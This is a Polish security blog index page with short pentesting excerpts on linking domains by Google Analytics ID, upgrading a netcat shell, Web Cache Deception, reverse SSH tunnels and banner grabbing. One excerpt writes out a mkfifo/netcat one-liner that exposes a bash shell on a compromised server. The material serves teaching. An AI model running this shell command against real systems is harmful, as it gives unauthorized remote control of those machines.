P

odczas wyszukiwania domen lub subdomen należących do tej samej firmy możemy wykorzystać fakt, że często współdzieloną one ten sam Google Analytics ID lub AdSense ID. Wystarczy pobrać ze źródła strony HTML kod identyfikujący danego klienta. Na przykład dla GA będzie to:

curl -L https://pentest.target | egrep 'UA-[0-9]+'

_gaq.push(['_setAccount', 'UA-12345678-22']);

Tak pozyskany kod możemy wykorzystać na stronie site-overview.com (zmieniając tylko ostatni człon URL) lub dnslyrics.com w celu uzyskania informacji mówiącej nam jakie jeszcze inne domeny / subdomeny są pod niego podpięte. To samo tyczy się AdSense ID. Korzystając z site-overview najlepiej jeszcze wyniki przeszukać pod kątem wprowadzonego ID, ponieważ wyniki mogą być nadmiarowe. Warto również zwrócić na wartość liczby po ostatnim myślniku: -22 – oznacza to, że jest to 22’ga usługa powiązana z kontem UA-12345678.

Więcej informacji: Hussein Daher

Z

ałóżmy, że uruchomiliśmy już „odwróconą powłokę” na przejętym przez nas serwerze (w jakimś stopniu) przy pomocy polecenia netcat:

$ rm -f /tmp/f; mkfifo /tmp/f
$ cat /tmp/f | /bin/bash -i 2>&1 | nc -lvp 4444 > /tmp/f
Listening on [0.0.0.0] (family 0, port 4444)
Connection from X.X.X.X 45600 received!

Problem w tym, że jeśli z poziomu klienta połączymy się z tak przygotowaną maszyną to nie będziemy mieli pełnowymiarowej powłoki bash z jaką mamy do czynienia przez SSH. Żadne polecenia nie będą dopełniane za pomocą klawisza Tab oraz nie wszystkie interaktywne programy będą w stanie działać poprawnie. Na przykład:

agresor@stardust:~$ nc X.X.X.X 4444
vim
Vim: Warning: Output is not to a terminal
Vim: Warning: Input is not from a terminal

Na szczęście istnieje prosty trick, który za pomocą języka Python i pomocy kilku poleceń jest w stanie dostarczyć nam pełnowymiarową powłokę. Procedura jest następująca:
[ czytaj całość… ]

2

7 lutego 2017 badacz bezpieczeństwa Omer Gil opublikował wpis opisujący atak „Web Cache Deception” (Oszukanie Pamięci Podręcznej Strony Internetowej). Wykorzystuje on funkcjonalność buforowania stron internetowych w celu potencjalnego ujawnienia poufnych informacji lub umożliwienia przejęcia konta (ang. Account Takeover). Buforowanie stron (ang. Web Caching) jest często używane w celu zmniejszenia obciążenia serwerów WWW i czasu ładowania treści stron. Atak Web Cache Deception pokazuje sposoby, w których biorąc pod uwagę pewne konfiguracje serwerów funkcja buforowania może być niewłaściwie użyta do udostępnienia treści nieprzeznaczonych do informacji publicznej. Zarówno buforujący serwer proxy, jak i strona źródłowa indywidualnie mogą mieć poprawne konfiguracje. Jednak w połączeniu ich w jeden system może dojść do nieoczekiwanego zachowania w świetle tej nowej metody ataku.
[ czytaj całość… ]

A

ktualnie ceny mikrokomputerów pozwalają na masowe ich podłączanie do sieci domowych. Często pełnią rolę multimedialnych stacji lub serwerów o konkretnym zastosowaniu znajdując się za mechanizmami NAT lub ścian ogniowych lokalnych routerów. W jaki sposób możemy dostać się zdalnie do takiego urządzenia bez robienia dziur w swoich sieciowych zabezpieczeniach? Rozwiązaniem jest użycie odwrotnego tunelu SSH.
[ czytaj całość… ]

W

iele standardowo zainstalowanych serwerów WWW obsługiwanych za pomocą Apacza ujawnia zbyt wiele danych umożliwiających przeprowadzenie tzw. ataku banner grabbing należącego do grupy ataków typu fingerprinting. Jeśli chodzi o standardową konfigurację Apacza atak banner grabbing można przeprowadzić bez szczegółowego wgłębiania się w nagłówek HTTP. W przypadku zdezaktualizowanych serwerów może stanowić to pretekst do szybko podjętej decyzji o ataku wymierzonym w wykryte podatności starszej wersji.
[ czytaj całość… ]

W

środowisku firmowym często można na serwerach intranetowych znaleźć oprogramowanie potencjalnie podatne na różnego rodzaju ataki. Co gorsza, zdarza się, iż od publikacji informacji o dziurze w zabezpieczeniach do wydania odpowiedniej łatki mija niemało czasu.
[ czytaj całość… ]